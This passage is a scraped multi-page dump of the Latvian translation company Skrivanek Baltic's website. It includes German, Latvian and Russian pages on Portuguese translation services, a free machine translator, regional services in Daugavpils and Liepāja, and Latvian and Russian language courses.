sprechen. Manchmal kann man natürlich durch die Vielfalt der portugiesischen Aussprache verwirrt werden. Denn obwohl es sich um eine einzige Sprache handelt, variiert die Aussprache von Land zu Land und von Region zu Region stark. Auch die Ausdehnung, die Energie und die Kraft der Sprache müssen berücksichtigt werden. Natürlich spielt das Zusammensein mit Menschen, die die Sprache sprechen, und damit die Möglichkeit, zuzuhören, zu lesen und zu sprechen, eine wichtige Rolle beim Spracherwerb. Portugiesischkurse in Lettland werden von mehreren Sprachschulen angeboten, unter anderem von Skrivanek. WO WIRD DIE PORTUGIESISCHE SPRACHE GESPROCHEN UND WIE WEIT IST SIE VERBREITET? Portugiesisch ist die Muttersprache von mehr als 220 Millionen Menschen in Portugal, Brasilien und Angola. Interessanterweise leben nur etwa 10 Millionen (oder weniger als 5%) von ihnen in Portugal. In Brasilien sprechen mehr Menschen Portugiesisch als in jedem anderen Land, in dem Portugiesisch gesprochen wird! Portugiesisch wird von etwa 240 Millionen Menschen gesprochen. Es steht an sechster Steller der am häufigsten gesprochenen Sprachen der Welt, sowohl international als auch in Bezug auf die Anzahl der Sprecher. Es ist nach Englisch und Spanisch die am dritthäufigsten gesprochene europäische Sprache. Portugiesisch hat sich mittlerweile als Weltsprache etabliert und ist nach Englisch, das bereits auf fast allen Kontinenten gesprochen wird, die am schnellsten wachsende europäische Sprache. Portugiesisch breitet sich in Südamerika, Europa, Afrika und Asien rasch aus und könnte laut UNESCO zu einer „internationalen Kommunikationssprache“ werden. In neun Ländern ist Portugiesisch die einzige Amtssprache: Portugal, Brasilien, Mosambik, Angola, Kap Verde, Äquatorialguinea, Guinea-Bissau, Sao Tome und Príncipe und Timor-Leste. Portugiesisch ist auch die offizielle Sprache des chinesischen Autonomiegebiets Macau. PORTUGIESISCHE ÜBERSETZER UND DOLMETSCHER Unser Team von professionellen Übersetzern und Dolmetschern führt die Übersetzung von Standarddokumenten, technischen und beglaubigten Übersetzungen durch. Das Übersetzungsbüro Skrivanek bietet auch Korrekturlesen und stilistische Verbesserung von Texten in portugiesischer Sprache an. Unsere Sprachspezialisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Alle Übersetzer, Dolmetscher, Lektoren und Redakteure haben eine Vertraulichkeitserklärung unterzeichnet, so dass Sie uns Ihre Dokumente anvertrauen können. Für Geschäftskunden führen wir am häufigsten die folgenden Übersetzungen aus dem/ ins Portugiesische durch: Übersetzung von E-Commerce-Inhalten und Homepages, Übersetzung von Werbeslogans und Marketingtexten, Übersetzung von Kooperationsverträgen und Geschäftsunterlagen. Wir bieten auch Konsekutivdolmetschen für geschäftliche und andere Arten von Gesprächen, Konferenzen und anderen Veranstaltungen an. Für Privatpersonen übersetzen wir Ausweisdokumente, Heiratsurkunden, Geburtsurkunden von Kindern, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. PORTUGIESISCH FÜR UNTERNEHMEN Die portugiesische Sprache spielt eine wichtige Rolle bei der Entwicklung des internationalen Geschäftsverkehrs und der Weltwirtschaft. Die enorme Größe Brasiliens, seine große und dynamische Wirtschaft - die neuntgrößte der Welt - und seine 200 Millionen Einwohner machen das Land zu einem wichtigen Ziel für viele internationale Unternehmen. Es ist eine Hochburg der Landwirtschaft und der Rohstoffindustrie und der weltweit größte Exporteur von Kaffee, Sojabohnen, Zucker und Orangensaft. Es ist auch ein wichtiger Hersteller von Automobilen, Textilien, Computern, Flugzeugen und Schuhen und ist der zwölftgrößte Handelspartner der Vereinigten Staaten. Fast alle großen multinationalen US-Konzerne haben ihr Geschäft in Brasilien ausgebaut - es ist ein wichtiger Markt für Unternehmen wie Walmart, ExxonMobil, John Deere, Apple, GM, GE, J. P. Morgan und Ford. Portugiesisch ist auch eine Schlüsselsprache im Bereich der Diplomatie und der wirtschaftlichen Entwicklung; es ist die Arbeits- und/ oder Amtssprache einiger der wichtigsten internationalen Organisationen wie der Afrikanischen Union, der Gemeinschaft der portugiesischsprachigen Länder, der Europäischen Union, des MERCOSUR (Gemeinsamer Markt des Südens), der Organisation Amerikanischer Staaten, der Organisation Iberoamerikanischer Staaten und der Union Südamerikanischer Nationen. Portugiesisch ist nach Englisch die am schnellsten wachsende westliche Sprache der Welt und hat das größte Potenzial, als internationale Kommunikationssprache in Südamerika und Südafrika zu wachsen. PORTUGIESISCH IN LETTLAND Im Jahr 2021 feierten Lettland und Portugal 100 Jahre diplomatische Beziehungen. Im letzten Jahrhundert standen beide Länder vor enormen politischen, sozialen und wirtschaftlichen Herausforderungen, die sie dank der Entschlossenheit ihrer Völker überwinden konnten. Der politische Dialog zwischen den beiden Ländern hat sich im Zusammenhang mit dem Integrationsprozess Lettlands in die EU und die NATO erheblich intensiviert. Seit seinem Beitritt zur Europäischen Union befindet sich Lettland, wie auch Portugal, an deren Rand. Das vergleichsweise große Gewicht und die Vertretung beider Länder in den EU-Institutionen in der Zukunft sowie mögliche gemeinsame Interessen schon jetzt fördern konstruktive Konsultationen zwischen lettischen und portugiesischen Beamten. Die Zusammenarbeit mit Portugal bietet Lettland weitreichende, bisher ungenutzte Möglichkeiten für den Export und die Anziehung von Investitionen. In den traditionellen Exportsektoren - Bildung, IT, Metallverarbeitung, Elektronik, Pharmazeutik und Nahrungsmittelindustrie - besteht ein Potenzial für Zusammenarbeit. Gleichzeitig besteht auch ein Potenzial für die Zusammenarbeit bei der Entwicklung von Märkten in Drittländern, wobei die Erfahrungen Lettlands in Zentralasien und Portugals in portugiesischsprachigen Ländern wie Brasilien und Angola sowie in Lateinamerika genutzt werden können. Die beiden Länder haben auch im Bereich der Kultur erfolgreich zusammengearbeitet. So wurde mit Unterstützung der Gulbenkian-Kulturstiftung und des Camões-Instituts (Instituto Camŏes) eine Anthologie zeitgenössischer portugiesischer Poesie in zwei Sprachen veröffentlicht, die von L. Briedis übersetzt und vorbereitet wurde. Die lettische Nationalbibliothek hat mit der Gulbenkian-Stiftung Kontakt aufgenommen, um die erforderliche Literatur auszuwählen. Im Jahr 2001 waren Porto und Riga Kulturhauptstädte Europas. Im Jahr 2002 fanden die Tage von Riga in Porto statt, und das Ballett der lettischen Nationaloper besuchte Portugal im Rahmen seiner Tournee. Nach den Statistiken des Amtes für Staatsbürgerschafts- und Migrationsangelegenheiten aus dem Jahr 2021 leben derzeit 172 Portugiesen in Lettland, bei denen es sich überwiegend um Arbeitnehmer und Studenten handelt. Durch den Austausch von Berufserfahrungen und die Bereicherung von Wissen und Fähigkeiten im Bereich der ausländischen Bildung bauen die Einwohner Portugals und Lettlands immer stärkere und stabilere bilaterale Beziehungen auf. Am 1. Januar 2021 hat Portugal die Arbeit der portugiesischen Botschaft in Lettland aufgrund der Wirtschaftskrise eingestellt. Seitdem werden die Interessen des Staates in Lettland durch einen Botschafter in Stockholm vertreten. Am 18. Januar 2021 akkreditierte der lettische Präsident Egils Levits in einer Online-Zeremonie die außerordentliche und bevollmächtigte Botschafterin der Portugiesischen Republik, Sarah Feron Martins (S. E. Frau Sara Feronha Martins). WELTTAG DER PORTUGIESISCHEN SPRACHE Im Jahr 2009 erklärte die zwischenstaatliche Organisation Gemeinschaft der portugiesischsprachigen Länder den 5. Mai zum Welttag der portugiesischen Sprache. Die Gemeinschaft der portugiesischsprachigen Länder arbeitet seit dem Jahr 2000 offiziell mit der UNESCO zusammen. Doch erst 2019 beschloss die 40. Tagung der UNESCO-Generalkonferenz, den 5. Mai zum Welttag der portugiesischen Sprache zu erklären. Der Welttag der portugiesischen Sprache ist der Förderung der portugiesischen Sprache gewidmet. Die Sprache spielt eine Schlüsselrolle bei der Vereinigung des portugiesischen Volkes und der Bewahrung seiner Kultur und Identität. Portugiesisch ist eine der am weitesten verbreiteten Sprachen der Welt. Sie wird von mehr als 265 Millionen Menschen weltweit gesprochen und ist die am weitesten verbreitete Sprache der südlichen Hemisphäre. Damit ist Portugiesisch an sechster Stelle der am häufigsten gesprochenen Sprachen der Welt. Menschen, die Portugiesisch sprechen, werden als lusophon bezeichnet. Heute lebt die Mehrheit der lusophonen Bevölkerung in Brasilien. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN IN PORTUGIESISCH: Übersetzung von Dokumenten ins Portugiesische; Eilaufträge; Notariell beglaubigte Übersetzung; Übersetzung einer Homepage; Korrekturlesen von Texten in Portugiesisch; Textadaption und kreatives Copywriting; DTP - Dienstleistungen im Bereich Grafikdesign; Übersetzung ins Portugiesische; personalisierte Portugiesisch-Sprachkurse. VORGESCHLAGENE SPRACHKOMBINATIONEN: Portugiesisch nach Lettisch, Lettisch nach Portugiesisch; Litauischnach Portugiesisch, Portugiesisch nach Litauisch; Estnisch nach Portugiesisch, Portugiesisch nach Estnisch; Englisch nach Portugiesisch, Portugiesisch nach Englisch; Russisch nach Portugiesisch, Portugiesisch nach Russisch; Polnisch nach Portugiesisch, Portugiesisch nach Polnisch; Ukrainisch nach Portugiesisch, Portugiesisch nach Ukrainisch; Tschechisch nach Portugiesisch, Portugiesisch nach Tschechisch; Deutsch nach Portugiesisch, Portugiesisch nach Deutsch; Spanisch nach Portugiesisch, Portugiesisch nach Spanisch; Französisch nach Portugiesisch, Portugiesisch nach Französisch; Italienisch nach Portugiesisch, Portugiesisch nach Italienisch; Dänisch nach Portugiesisch, Portugiesisch nach Dänisch; Schwedisch nach Portugiesisch, Portugiesisch nach Schwedisch; Norwegisch nach Portugiesisch, Portugiesisch nach Norwegisch; Finnisch nach Portugiesisch, Portugiesisch nach Finnisch; Arabisch nach Portugiesisch, Portugiesisch nach Arabisch; Armenisch nach Portugiesisch, Portugiesisch nach Armenisch; Belarussisch nach Portugiesisch, Portugiesisch nach Belarussisch; Bulgarisch nach Portugiesisch, Portugiesisch nach Bulgarisch; Ungarisch nach Portugiesisch, Portugiesisch nach Ungarisch; Hebräisch nach Portugiesisch, Portugiesisch nach Hebräisch; Griechisch nach Portugiesisch, Portugiesisch nach Griechisch; Georgisch nach Portugiesisch, Portugiesisch nach Georgisch; Hindi nach Portugiesisch, Portugiesisch nach Hindi; Niederländisch nach Portugiesisch, Portugiesisch nach Niederländisch; Koreanisch nach Portugiesisch, Portugiesisch - Koreanisch; Kurdisch nach Portugiesisch, Portugiesisch nach Kurdisch; Chinesisch nach Portugiesisch, Portugiesisch nach Chinesisch; Rumänisch nach Portugiesisch, Portugiesisch nach Rumänisch; Slowakisch nach Portugiesisch, Portugiesisch nach Slowakisch; Slowenisch nach Portugiesisch, Portugiesisch nach Slowenisch; Türkisch nach Portugiesisch, Portugiesisch nach Türkisch; usw --- > Piedāvājam iespēju pārtulkot tekstu līdz 1500 rakstzīmēm ar bezmaksas tulkotāja iespēju. Kvalitāte var būt mainīga, par kvalitāti neatbildam. - Published: 2024-12-09 - Modified: 2025-02-10 - URL: https://skrivanek.lv/bezmaksas-tulkotajs/ - Translation Priorities: Optional Piedāvājam iespēju izmantot bezmaksas tulkotāju līdz 1500 rakstzīmēm. Tulkojuma kvalitāte var būt mainīga un par tulkojuma kvalitāti neatbildam. Lai saņemtu kvalitatīvu tulkojumu, lūdzam sazināties ar mums. Auto Detect English German French Spanish Portuguese Italian Dutch Polish Russian Chinese Japanese Bulgarian Czech Danish Greek Estonian Finnish Hungarian Lithuanian Latvian Romanian Slovak Slovenian Swedish Indonesian Turkish English German French Spanish Portuguese Italian Dutch Polish Russian Chinese Japanese Bulgarian Czech Danish Greek Estonian Finnish Hungarian Lithuanian Latvian Romanian Slovak Slovenian Swedish Indonesian Turkish Skrivanek izmanto mašīntulkošanu un mākslīgo intelektu, lai automātiski tulkotu tekstu izvēlētajā valodā. Šīs tehnoloģijas analizē avota tekstu un ģenerē tulkojumu mērķa valodā, nodrošinot ierobežotu precizitāti un kontekstuālo atbilstību. Nē, teksta tulkošana, piemēram, no latviešu valodas angļu valodā ar Skrivanek piedāvāto rīku ir pilnīgi bezmaksas. Ja vēlaties saņemt kvalitatīvu tulkojumu, iesakām sazināties ar mums. Skrivanek tulkotāja bezmaksas versija ļauj iztulkot līdz 1500 rakstzīmēm vienā pieprasījumā. Ja vēlaties saņemt apjomīgāka teksta tulkojumu, sazinieties ar mums. Jā, Skrivanek atbalsta divvirzienu tulkošanu, kas ļauj tulkot tekstu gan no latviešu valodas angļu valodā, gan no angļu valodas latviešu valodā. Tulkot var arī vācu valodā, franču valodā, spāņu valodā, itāļu valodā un daudzās citās valodās. Ja nepieciešams angļu valodas tulks/tulkotājs, sazinieties ar mums. Tulkojuma precizitāte var būt atkarīga no oriģinālā teksta sarežģītības un konteksta, kā ar visām tehnoloģijām, to ģenerētais veikums ir jāpārbauda. Lai saņemtu kvalitatīvu tulkojumu vai rediģētu mākslīgā intelekta veikumu, droši sazinieties ar mums. Skrivanek rūpējas par datu drošību un konfidencialitāti. Izmantojam programmatūru, kurā ir iekļauti drošības līdzekļi, lai aizsargātu sensitīvu informāciju. --- > Сэкономьте время и деньги – закажите языковые услуги онлайн! Свяжитесь с нами, и мы подготовим языковое решение, подходящее именно для вас! - Published: 2024-11-08 - Modified: 2024-11-08 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-daugavpili/ - Translation Priorities: Optional ДОБРО ПОЖАЛОВАТЬ В SKRIVANEK BALTIC! Адрес офиса: ул. Лачплеша, 87ц, Рига Время работы: пн. – пт. с 08:30 до 19:00 Эл. почта: birojs@skrivanek. lv Бесплатный телефон: 8000 72 72 Телефон: (+371) 67 240 364 Моб. телефон: (+371) 26 181 355 ЯЗЫКОВЫЕ УСЛУГИ В ДАУГАВПИЛСЕ 1 Сэкономьте время и деньги, заказав языковые услуги онлайн! Поставщик языковых услуг Skrivanek Baltic предлагает письменные переводы более чем на 110 языков с нотариальным заверением или без него, грамматическое и стилистическое улучшение текстов, адаптацию текстов и создание креативных текстов, графическую обработку текстов (DTP), перевод веб-сайтов, локализацию аудио- и видеофайлов или программного обеспечения. Предоставляем также услуги устного перевода в Даугавпилсе и окрестностях, включая устный перевод на конференциях, судебных заседаниях и деловых встречах. Если необходимы услуги переводчика в повседневных ситуациях, например для коммуникации с государственными или муниципальными учреждениями, подачи документов и т. д. , рекомендуем воспользоваться услугами переводчика-ассистента. Предлагаем обучение языкам как для частных лиц, так и для предприятий. В процессе обучения мы используем уникальный метод EFFECTO. Данный метод особенный, поскольку значительно улучшает эффективность освоения языка, к тому же он настолько увлекателен, что повышает мотивацию студентов к изучению иностранных языков. Свяжитесь с нами! Мы подготовим языковое решение, подходящее именно для вас! УЗНАТЬ ЦЕНУ / ЗАДАТЬ ВОПРОС Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ДАУГАВПИЛС Даугавпилс – второй по численности населения город в Латвии. В Даугавпилсе проживают около 95 тысяч жителей, город расположен в Латгале, у восточной границы Латвии. Даугавпилс – важный центр социально-экономического развития в Балтии. ЧЕМ ЗАНЯТЬСЯ В ДАУГАВПИЛСЕ? Если вы находитесь в Даугавпилсе, рекомендуем посетить следующие достопримечательности: улицу Ригас – одну из первых пешеходных улиц в Латвии; Даугавпилсский арт-центр имени Марка Ротко – единственное место в Восточной Европе, где можно увидеть оригинальные работы всемирно известного художника латышского происхождения Марка Ротко; Даугавпилсскую крепость – один из важнейших символов города. Ее общая площадь составляет 150 гектаров, и это единственная крепость в Восточной Европе, сохранившаяся в неизменном виде с начала XIX века; Церковную горку – место, где бок о бок стоят храмы четырех конфессий; стадион Lokomotīve – один из крупнейших спидвейных стадионов в Европе, где проводятся международные соревнования по спидвею, в том числе Гран-при Латвии по спидвею; и многие другие места. --- > Сэкономьте время и деньги, заказав языковые услуги онлайн! Свяжитесь с нами! Мы подготовим предложение, подходящее именно для вас! - Published: 2024-11-08 - Modified: 2024-11-08 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-liepaja/ - Translation Priorities: Optional ДОБРО ПОЖАЛОВАТЬ В SKRIVANEK BALTIC! Адрес офиса: ул. Лачплеша, 87ц, Рига Время работы: пн. – пт. с 08:30 до 19:00 Эл. почта: birojs@skrivanek. lv Бесплатный телефон: 8000 72 72 Телефон: (+371) 67 240 364 Моб. телефон: (+371) 26 181 355 ЯЗЫКОВЫЕ УСЛУГИ В ЛИЕПАЕ 1 Сэкономьте время и деньги, заказав языковые услуги онлайн! Поставщик языковых услуг Skrivanek Baltic предлагает письменные переводы более чем в 500 языковых комбинациях, грамматическое и стилистическое улучшение текстов, графическую обработку текстов (DTP), перевод веб-сайтов и локализацию программного обеспечения. Предлагаем также услуги устного перевода в Лиепае и окрестностях, в том числе устный перевод на конференциях. Обеспечим не только профессиональный перевод, но и необходимое оборудование. Предлагаем обучение языкам как для частных лиц, так и для предприятий. В процессе обучения мы используем уникальный метод EFFECTO. Данный метод особенный, поскольку значительно улучшает эффективность освоения языка, к тому же он настолько увлекателен, что повышает мотивацию студентов к изучению иностранных языков. Свяжитесь с нами! Мы подготовим предложение, подходящее именно для вас! УЗНАТЬ ЦЕНУ / ЗАДАТЬ ВОПРОС Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЛИЕПАЯ Лиепая – третий по численности населения город в Латвии. В Лиепае проживают около 76 тысяч жителей, город находится на западном побережье страны между Балтийским морем и озером Лиепаяс. Лиепаю называют городом ветра, янтаря и музыкантов. Это важный культурный, образовательный, промышленный и портовый город. ЧЕМ ЗАНЯТЬСЯ В ЛИЕПАЕ? Если вы находитесь в Лиепае, рекомендуем посетить следующие достопримечательности: Аллею славы латвийских музыкантов с отлитыми в бронзе отпечатками ладоней 40 музыкантов, например Иевы Акуратере, Мартиньша Фрейманиса и Раймондса Паулса; променад Лиепайского порта, который проходит вдоль Торгового канала (места, где озеро Лиепаяс соединяется с Балтийским морем). Променад – прекрасное место для прогулок, откуда открывается вид на портовые причалы, исторические склады, корабли, яхты и янтарные часы высотой 4 метра, которые изготовлены из примерно 50 литров кусочков янтаря, пожертвованных лиепайчанами; Каросту – часть Лиепаи, которая включает уникальный комплекс военных фортификационных сооружений. В этой части города одной из популярнейших достопримечательностей является тюрьма Каросты, или гауптвахтовый комплекс; Приморский парк – крупнейший дендрологический парк в Латвии (около 70 га). В нем произрастает более 140 разных сортов деревьев и кустарников. На территории парка находятся: стадион, теннисные корты, концертный зал Pūt vējiņi! , летние кафе, поле для мини-гольфа, боулинг Dzintara boulings, детская площадка и самый большой открытый скейт-парк в Латвии; пляж Синего флага длиной 8 километров; концертный зал Lielais dzintars, который радует ценителей культуры высококачественными выступлениями латвийских и зарубежных артистов; и многие другие места. --- > Обучение латышскому языку для частных лиц и предприятий. Изучение латышского языка в очном порядке или в режиме онлайн. Профессиональные преподаватели. Эффективные методы обучения. - Published: 2024-11-06 - Modified: 2024-11-06 - URL: https://skrivanek.lv/ru/uslugi/jazikovije-kursi/izuchenije-latishskovo-jazika/ - Translation Priorities: Optional Если вы экспат, вам нужен латышский язык для работы или вы просто хотите улучшить свои языковые навыки, Skrivanek предложит вам курс латышского языка, который лучше всего соответствует вашим потребностям – будь то индивидуальные очные или онлайн-занятия, открытые групповые занятия (в настоящее время предложение ограничено) или групповые занятия для вашей компании. Skrivanek также предлагает курсы латышского языка для детей и молодежи – с современными технологиями неважно, где вы живете: в США, Австралии, Великобритании или просто за углом! Отправьте письмо на valoduskola@skrivanek. lv или позвоните нам по +371 29 337 892, и мы найдем решение, которое подойдет именно вам. Учебный центр Skrivanek Baltic – это образовательный центр с более чем десятилетним опытом обучения языкам всех желающих. Мы предоставляем языковые курсы для компаний и частных лиц, взрослых и детей, а курсы латышского языка – одни из лучших курсов, что мы предлагаем. Если вы хотите выучить латышский язык, подайте заявку на курсы! Занятия по латышскому языку активно посещают иностранные граждане, работающие в Риге или удаленно из других стран в латвийских компаниях, а также путешественники, интересующиеся языком и культурой страны на побережье Балтийского моря. Мы также рады помочь детям и подросткам из семей, которые работают и живут за границей, выучить латышский язык в наших летних лагерях, когда они приезжают на летние каникулы в Латвию. ОНЛАЙН-ЗАНЯТИЯ ПО ЛАТЫШСКОМУ ЯЗЫКУ Онлайн-курсы латышского языка через Zoom, MS Teams или любую другую платформу для онлайн-встреч стали нашими лучшими онлайн-курсами, с тех пор как мир перешел на удаленную работу. Наш многолетний опыт доказывает, что изучение латышского языка в режиме онлайн удобно и эффективно: вы можете учить латышский язык из любой точки мира и организовать онлайн-занятие с нашими преподавателями в Zoom или MS Teams по вашему желанию. Онлайн-занятия обеспечивают ряд преимуществ для эффективного изучения латышского языка: вы можете практиковать грамматику, учить лексику, развивать навыки письма, аудирования и разговорной речи для социальной или деловой коммуникации на индивидуальных или групповых занятиях. Чтобы узнать больше о занятиях латышским языком в Zoom или на других онлайн-платформах, свяжитесь с нами, и мы посоветуем вам лучшие решения для удовлетворения ваших потребностей. КУРСЫ ЛАТЫШСКОГО ЯЗЫКА ДЛЯ ПРЕДПРИЯТИЙ Команда учебного центра Skrivanek Baltic обладает большим опытом предложения гибких решений для изучающих латышский язык со всего мира. Мы предлагаем групповое обучение в нашей школе или за ее пределами для компаний, которым необходимо обучить своих сотрудников деловому латышскому языку для работы. Мы проводим очные занятия в нашем офисе утром, днем и вечером. Если же вы предпочитаете собственный офис, наши преподаватели могут проводить курсы латышского языка в предпочтительное для вас время и в удобном месте. ГРУППОВЫЕ ЗАНЯТИЯ Частные лица могут посещать занятия на территории нашей языковой школы. Преимущество группового обучения заключается в том, что процесс обучения проходит в интерактивном режиме, студенты практикуют латышский язык с участниками своей группы, моделируя реальные жизненные ситуации в ролевых играх и диалогах, и учатся адаптировать различные стили общения. ИНДИВИДУАЛЬНЫЕ ЗАНЯТИЯ Занятия один на один – лучшее решение для тех, у кого есть особые потребности в изучении латышского языка и кто хочет, чтобы репетитор помогал им в решении языковых вопросов, которые интересуют конкретно их. Учащиеся или путешественники, заинтересованные в углубленном изучении латышского языка, найдут этот вариант наиболее выгодным. Если вы намерены изучать латышский язык один на один с преподавателем – носителем языка, то можете делать это в режиме онлайн через Zoom или MS Teams или любую другую платформу для онлайн-встреч, которую предпочитаете. Подайте заявку на индивидуальные онлайн-занятия (Zoom, MS Teams) прямо сейчас! ЛАТЫШСКИЙ ЯЗЫК ДЛЯ ДЕТЕЙ Дети и подростки из семей, которые живут и работают за границей, тоже могут учить латышский язык, улучшая свои языковые навыки дистанционно. Учебный центр Skrivanek Baltic проводит индивидуальные занятия по латышскому языку в режиме онлайн через Zoom или MS Teams с увлекательными упражнениями, чтобы помочь детям и подросткам выучить латышскую лексику и улучшить грамматику в устной и письменной речи. Для семей, планирующих летние каникулы, летние лагеря Skrivanek Baltic на латышском языке для детей и подростков тоже могут оказаться хорошей идеей, как провести летние каникулы интересно и с пользой. Команда преподавателей Skrivanek Baltic позаботится о ваших детях во время летних каникул в Латвии, вовлекая их в занятия и игры для развития навыков, позволяющих лучше говорить и писать на латышском языке. Мы помогли многим семьям с детьми улучшить их латышский язык, и ваши дети тоже могут стать участниками наших летних лагерей или индивидуальных занятий! Узнайте больше о летних лагерях здесь! Туристы, планирующие поездку в Ригу, могут также попробовать выучить латышский язык в учебном центре Skrivanek Baltic, чтобы узнать больше о местной культуре в рамках своего маршрута и пообщаться с местными жителями. Перед поездкой каждый может заглянуть в наш онлайн-словарь полезных слов и фраз, чтобы выучить основные выражения на латышском языке для общения, бизнеса и путешествий! Будь то школа, путешествие или бизнес, команда учебного центра Skrivanek Baltic всегда готова дать нашим клиентам все, что нужно для улучшения их навыков владения латышским языком. Выберите лучший способ выучить латышский язык, свяжитесь с командой учебного центра Skrivanek Baltic, и мы предоставим вам услуги по обучению латышскому языку, которые вы ищете! --- > Обучение русскому языку для частных лиц и предприятий. В очном режиме или режиме онлайн. Эффективные методы обучения. Профессиональные преподаватели. Узнайте больше! - Published: 2024-11-06 - Modified: 2024-11-06 - URL: https://skrivanek.lv/ru/uslugi/jazikovije-kursi/izuchenije-russkovo-jazika/ - Translation Priorities: Optional Учебный центр Skrivanek Baltic – это международный образовательный центр с более чем десятилетним опытом в сфере предоставления услуг по обучению иностранным языкам, и мы всегда рады найти гибкие индивидуальные решения для всех наших клиентов, какими бы ни были их потребности в языковой подготовке. Команда Skrivanek предлагает гибкие решения для изучающих русский язык всех возрастов со всего мира. Мы предлагаем различные способы освоения русского языка: индивидуальные занятия, групповое и корпоративное обучение, а также обучение по Skype. Курсы русского языка как иностранного – одно из наших самых популярных предложений, так как существует множество желающих изучать русский язык. Мы предлагаем курсы русского языка для всех: студентов, которым русский язык необходим для учебы, бизнесменов, которым он необходим для письменной и устной деловой коммуникации, путешественников, которые собираются посещать занятия по русскому языку в рамках своей поездки и поближе познакомиться с ним. Учебный центр Skrivanek Baltic – лучшее место для изучающих русский язык, где можно найти подходящие решения для удовлетворения своих учебных потребностей, таких как работа и учеба, общение и путешествия. Команда учебного центра Skrivanek Baltic поможет вам подобрать оптимальный вариант, гарантирующий, что вы получите то, что хотите, подав заявку на курсы русского языка. ИНДИВИДУАЛЬНЫЕ ЗАНЯТИЯ Занятия один на один – идеальный вариант для тех, кто не может посещать публичные курсы по фиксированному расписанию. После определения потребностей клиента мы разрабатываем специальное расписание, соответствующее его потребностям и наличию свободных мест. Занятия могут быть организованы как на нашей территории, так и в любом другом удобном для вас месте и в удобное время. Индивидуальные занятия – лучшее решение для тех, у кого есть особые потребности в изучении русского языка: это может быть изучение кириллицы, понимание текстов на русском языке или коммуникация в социальных или деловых ситуациях. В этом случае учащимся может потребоваться опытный репетитор, который поможет разобраться с теми аспектами языка, которые их особенно интересуют. Кроме того, индивидуальные занятия удобны для ведущих активную жизнь, ведь всегда можно договориться о следующем занятии при встрече. Данное решение будет полезным для учащихся или путешественников, желающих пройти экспресс-курс русского языка. ГРУППОВЫЕ ЗАНЯТИЯ Мы также предлагаем групповое обучение на территории школы и за ее пределами для компаний, желающих, чтобы их сотрудники изучали русский язык. Приглашаем ваших сотрудников в наш офис, где мы проводим утренние, дневные и вечерние занятия. Если же вы предпочитаете собственный офис, наши преподаватели могут проводить курсы русского языка в удобное для вас время и в удобном месте. Частные лица тоже могут посещать занятия на территории нашей школы. Преимущество группового обучения заключается в том, что процесс обучения проходит в интерактивном режиме, студенты практикуют разговорный русский язык, используя общую лексику с участниками своей группы, моделируя реальные ситуации в ролевых играх и диалогах, учатся адаптироваться к различной скорости общения, акцентам, а также учатся на ошибках друг друга. ОНЛАЙН-КУРСЫ РУССКОГО ЯЗЫКА Онлайн-курсы русского языка – это еще одно удобное решение, которое предлагает своим клиентам учебный центр Skrivanek Baltic. Основываясь на нашем многолетнем опыте, мы убеждены, что изучение русского языка в режиме онлайн – прогрессивный и эффективный способ обучения. И репетитор, и учащийся могут договориться о занятиях в режиме онлайн согласно своей занятости, изучать, обсуждать и дискутировать по вопросам русского языка – грамматики, лексики или основ деловой коммуникации. МЕТОД ИЗУЧЕНИЯ ЯЗЫКА EFFECTO Все наши репетиторы – носители русского языка, специализирующиеся на преподавании русского языка как иностранного, и наши студенты могут учиться у них подлинному языку. Наши репетиторы говорят по-английски, а это значит, что основные моменты грамматики, произношения или лексики русского языка могут быть объяснены на английском, чтобы вы не упустили ничего важного и как можно быстрее научились коммуницировать на русском языке как в письменной, так и в устной форме. Кроме того, учебный центр Skrivanek Baltic разработал собственный уникальный метод изучения языка EFFECTO, чтобы сделать процесс обучения увлекательным и эффективным. Наш метод EFFECTO состоит из пяти основных элементов, которые мы считаем наиболее эффективными для изучения русского языка. Пять элементов метода EFFECTO включают активность, вдохновение, индивидуальный подход и гарантию. Какие бы курсы изучения русского языка вы ни выбрали, вы всегда будете активно вовлечены в процесс обучения, наши творческие и умелые преподаватели подберут лучший материал, контент и методы, подготовят учебные программы специально для ваших потребностей в обучении, гарантируя вам успех в освоении русского языка для бизнеса, общения или путешествий. Команда Skrivanek всегда готова найти индивидуальный подход к потребностям каждого учащегося, и мы рады предоставить нашим клиентам именно то, что им необходимо для изучения русского языка. Выберите способ изучения русского языка, который вам больше всего подходит, свяжитесь с командой учебного центра Skrivanek Baltic, и мы с радостью предоставим вам необходимые услуги по обучению русскому языку – курсы русского языка для общения, путешествий или бизнеса в приятной форме! --- > Сотрудничество с компанией Skrivanek гарантирует, что документы будут правильно cчитаны, а затем переведены на нужный иностранный язык. - Published: 2024-11-06 - Modified: 2024-11-06 - URL: 